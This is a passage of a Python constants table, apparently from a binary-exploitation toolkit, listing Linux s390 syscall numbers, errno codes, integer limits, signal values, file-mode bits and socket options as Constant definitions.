__NR_epoll_ctl = Constant('__NR_epoll_ctl',250) __NR_epoll_wait = Constant('__NR_epoll_wait',251) __NR_set_tid_address = Constant('__NR_set_tid_address',252) __NR_fadvise64 = Constant('__NR_fadvise64',253) __NR_timer_create = Constant('__NR_timer_create',254) __NR_timer_settime = Constant('__NR_timer_settime',(254+1)) __NR_timer_gettime = Constant('__NR_timer_gettime',(254+2)) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(254+3)) __NR_timer_delete = Constant('__NR_timer_delete',(254+4)) __NR_clock_settime = Constant('__NR_clock_settime',(254+5)) __NR_clock_gettime = Constant('__NR_clock_gettime',(254+6)) __NR_clock_getres = Constant('__NR_clock_getres',(254+7)) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(254+8)) __NR_fadvise64_64 = Constant('__NR_fadvise64_64',264) __NR_statfs64 = Constant('__NR_statfs64',265) __NR_fstatfs64 = Constant('__NR_fstatfs64',266) __NR_remap_file_pages = Constant('__NR_remap_file_pages',267) __NR_mbind = Constant('__NR_mbind',268) __NR_get_mempolicy = Constant('__NR_get_mempolicy',269) __NR_set_mempolicy = Constant('__NR_set_mempolicy',270) __NR_mq_open = Constant('__NR_mq_open',271) __NR_mq_unlink = Constant('__NR_mq_unlink',272) __NR_mq_timedsend = Constant('__NR_mq_timedsend',273) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',274) __NR_mq_notify = Constant('__NR_mq_notify',275) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',276) __NR_kexec_load = Constant('__NR_kexec_load',277) __NR_add_key = Constant('__NR_add_key',278) __NR_request_key = Constant('__NR_request_key',279) __NR_keyctl = Constant('__NR_keyctl',280) __NR_waitid = Constant('__NR_waitid',281) __NR_ioprio_set = Constant('__NR_ioprio_set',282) __NR_ioprio_get = Constant('__NR_ioprio_get',283) __NR_inotify_init = Constant('__NR_inotify_init',284) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',285) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',286) __NR_migrate_pages = Constant('__NR_migrate_pages',287) __NR_openat = Constant('__NR_openat',288) __NR_mkdirat = Constant('__NR_mkdirat',289) __NR_mknodat = Constant('__NR_mknodat',290) __NR_fchownat = Constant('__NR_fchownat',291) __NR_futimesat = Constant('__NR_futimesat',292) __NR_fstatat64 = Constant('__NR_fstatat64',293) __NR_unlinkat = Constant('__NR_unlinkat',294) __NR_renameat = Constant('__NR_renameat',295) __NR_linkat = Constant('__NR_linkat',296) __NR_symlinkat = Constant('__NR_symlinkat',297) __NR_readlinkat = Constant('__NR_readlinkat',298) __NR_fchmodat = Constant('__NR_fchmodat',299) __NR_faccessat = Constant('__NR_faccessat',300) __NR_pselect6 = Constant('__NR_pselect6',301) __NR_ppoll = Constant('__NR_ppoll',302) __NR_unshare = Constant('__NR_unshare',303) __NR_set_robust_list = Constant('__NR_set_robust_list',304) __NR_get_robust_list = Constant('__NR_get_robust_list',305) __NR_splice = Constant('__NR_splice',306) __NR_sync_file_range = Constant('__NR_sync_file_range',307) __NR_tee = Constant('__NR_tee',308) __NR_vmsplice = Constant('__NR_vmsplice',309) __NR_move_pages = Constant('__NR_move_pages',310) __NR_getcpu = Constant('__NR_getcpu',311) __NR_epoll_pwait = Constant('__NR_epoll_pwait',312) __NR_utimes = Constant('__NR_utimes',313) __NR_fallocate = Constant('__NR_fallocate',314) __NR_utimensat = Constant('__NR_utimensat',315) __NR_signalfd = Constant('__NR_signalfd',316) __NR_timerfd = Constant('__NR_timerfd',317) __NR_eventfd = Constant('__NR_eventfd',318) __NR_timerfd_create = Constant('__NR_timerfd_create',319) __NR_timerfd_settime = Constant('__NR_timerfd_settime',320) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',321) __NR_signalfd4 = Constant('__NR_signalfd4',322) __NR_eventfd2 = Constant('__NR_eventfd2',323) __NR_inotify_init1 = Constant('__NR_inotify_init1',324) __NR_pipe2 = Constant('__NR_pipe2',325) __NR_dup3 = Constant('__NR_dup3',326) __NR_epoll_create1 = Constant('__NR_epoll_create1',327) __NR_preadv = Constant('__NR_preadv',328) __NR_pwritev = Constant('__NR_pwritev',329) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',330) __NR_perf_event_open = Constant('__NR_perf_event_open',331) __NR_fanotify_init = Constant('__NR_fanotify_init',332) __NR_fanotify_mark = Constant('__NR_fanotify_mark',333) __NR_prlimit64 = Constant('__NR_prlimit64',334) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',335) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',336) __NR_clock_adjtime = Constant('__NR_clock_adjtime',337) __NR_syncfs = Constant('__NR_syncfs',338) __NR_setns = Constant('__NR_setns',339) __NR_process_vm_readv = Constant('__NR_process_vm_readv',340) __NR_process_vm_writev = Constant('__NR_process_vm_writev',341) __NR_s390_runtime_instr = Constant('__NR_s390_runtime_instr',342) __NR_kcmp = Constant('__NR_kcmp',343) __NR_finit_module = Constant('__NR_finit_module',344) __NR_sched_setattr = Constant('__NR_sched_setattr',345) __NR_sched_getattr = Constant('__NR_sched_getattr',346) __NR_renameat2 = Constant('__NR_renameat2',347) __NR_seccomp = Constant('__NR_seccomp',348) __NR_getrandom = Constant('__NR_getrandom',349) __NR_memfd_create = Constant('__NR_memfd_create',350) __NR_bpf = Constant('__NR_bpf',351) __NR_s390_pci_mmio_write = Constant('__NR_s390_pci_mmio_write',352) __NR_s390_pci_mmio_read = Constant('__NR_s390_pci_mmio_read',353) __NR_execveat = Constant('__NR_execveat',354) __NR_userfaultfd = Constant('__NR_userfaultfd',355) __NR_membarrier = Constant('__NR_membarrier',356) __NR_recvmmsg = Constant('__NR_recvmmsg',357) __NR_sendmmsg = Constant('__NR_sendmmsg',358) __NR_socket = Constant('__NR_socket',359) __NR_socketpair = Constant('__NR_socketpair',360) __NR_bind = Constant('__NR_bind',361) __NR_connect = Constant('__NR_connect',362) __NR_listen = Constant('__NR_listen',363) __NR_accept4 = Constant('__NR_accept4',364) __NR_getsockopt = Constant('__NR_getsockopt',365) __NR_setsockopt = Constant('__NR_setsockopt',366) __NR_getsockname = Constant('__NR_getsockname',367) __NR_getpeername = Constant('__NR_getpeername',368) __NR_sendto = Constant('__NR_sendto',369) __NR_sendmsg = Constant('__NR_sendmsg',370) __NR_recvfrom = Constant('__NR_recvfrom',371) __NR_recvmsg = Constant('__NR_recvmsg',372) __NR_shutdown = Constant('__NR_shutdown',373) __NR_mlock2 = Constant('__NR_mlock2',374) __NR_copy_file_range = Constant('__NR_copy_file_range',375) __NR_preadv2 = Constant('__NR_preadv2',376) __NR_pwritev2 = Constant('__NR_pwritev2',377) __NR_s390_guarded_storage = Constant('__NR_s390_guarded_storage',378) __NR_statx = Constant('__NR_statx',379) __NR_s390_sthyi = Constant('__NR_s390_sthyi',380) __NR_kexec_file_load = Constant('__NR_kexec_file_load',381) __NR_io_pgetevents = Constant('__NR_io_pgetevents',382) __NR_rseq = Constant('__NR_rseq',383) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',384) __NR_pkey_alloc = Constant('__NR_pkey_alloc',385) __NR_pkey_free = Constant('__NR_pkey_free',386) __NR_semget = Constant('__NR_semget',393) __NR_semctl = Constant('__NR_semctl',394) __NR_shmget = Constant('__NR_shmget',395) __NR_shmctl = Constant('__NR_shmctl',396) __NR_shmat = Constant('__NR_shmat',397) __NR_shmdt = Constant('__NR_shmdt',398) __NR_msgget = Constant('__NR_msgget',399) __NR_msgsnd = Constant('__NR_msgsnd',400) __NR_msgrcv = Constant('__NR_msgrcv',401) __NR_msgctl = Constant('__NR_msgctl',402) __NR_clock_gettime64 = Constant('__NR_clock_gettime64',403) __NR_clock_settime64 = Constant('__NR_clock_settime64',404) __NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',405) __NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',406) __NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',407) __NR_timer_gettime64 = Constant('__NR_timer_gettime64',408) __NR_timer_settime64 = Constant('__NR_timer_settime64',409) __NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',410) __NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',411) __NR_utimensat_time64 = Constant('__NR_utimensat_time64',412) __NR_pselect6_time64 = Constant('__NR_pselect6_time64',413) __NR_ppoll_time64 = Constant('__NR_ppoll_time64',414) __NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',416) __NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',417) __NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',418) __NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',419) __NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',420) __NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',421) __NR_futex_time64 = Constant('__NR_futex_time64',422) __NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',423) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424) __NR_io_uring_setup = Constant('__NR_io_uring_setup',425) __NR_io_uring_enter = Constant('__NR_io_uring_enter',426) __NR_io_uring_register = Constant('__NR_io_uring_register',427) __NR_open_tree = Constant('__NR_open_tree',428) __NR_move_mount = Constant('__NR_move_mount',429) __NR_fsopen = Constant('__NR_fsopen',430) __NR_fsconfig = Constant('__NR_fsconfig',431) __NR_fsmount = Constant('__NR_fsmount',432) __NR_fspick = Constant('__NR_fspick',433) __NR_pidfd_open = Constant('__NR_pidfd_open',434) __NR_clone3 = Constant('__NR_clone3',435) __NR_openat2 = Constant('__NR_openat2',437) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',4321) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',4321) __WORDSIZE = Constant('__WORDSIZE',32) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647))) INTPTR_MAX = Constant('INTPTR_MAX',(2147483647)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGBUS = Constant('SIGBUS',7) SIGUSR1 = Constant('SIGUSR1',10) SIGUSR2 = Constant('SIGUSR2',12) SIGSTKFLT = Constant('SIGSTKFLT',16) SIGCHLD = Constant('SIGCHLD',17) SIGCONT = Constant('SIGCONT',18) SIGSTOP = Constant('SIGSTOP',19) SIGTSTP = Constant('SIGTSTP',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGURG = Constant('SIGURG',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGIO = Constant('SIGIO',29) SIGPWR = Constant('SIGPWR',30) SIGSYS = Constant('SIGSYS',31) SIGCLD = Constant('SIGCLD',17) SIGPOLL = Constant('SIGPOLL',29) SIGLOST = Constant('SIGLOST',30) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) __NUM_GPRS = Constant('__NUM_GPRS',16) __NUM_FPRS = Constant('__NUM_FPRS',16) __NUM_ACRS = Constant('__NUM_ACRS',16) _SIGCONTEXT_NSIG = Constant('_SIGCONTEXT_NSIG',64) _SIGCONTEXT_NSIG_BPW = Constant('_SIGCONTEXT_NSIG_BPW',64) __SIGNAL_FRAMESIZE = Constant('__SIGNAL_FRAMESIZE',160) _SIGCONTEXT_NSIG_WORDS = Constant('_SIGCONTEXT_NSIG_WORDS',(64 / 64)) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) STAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = 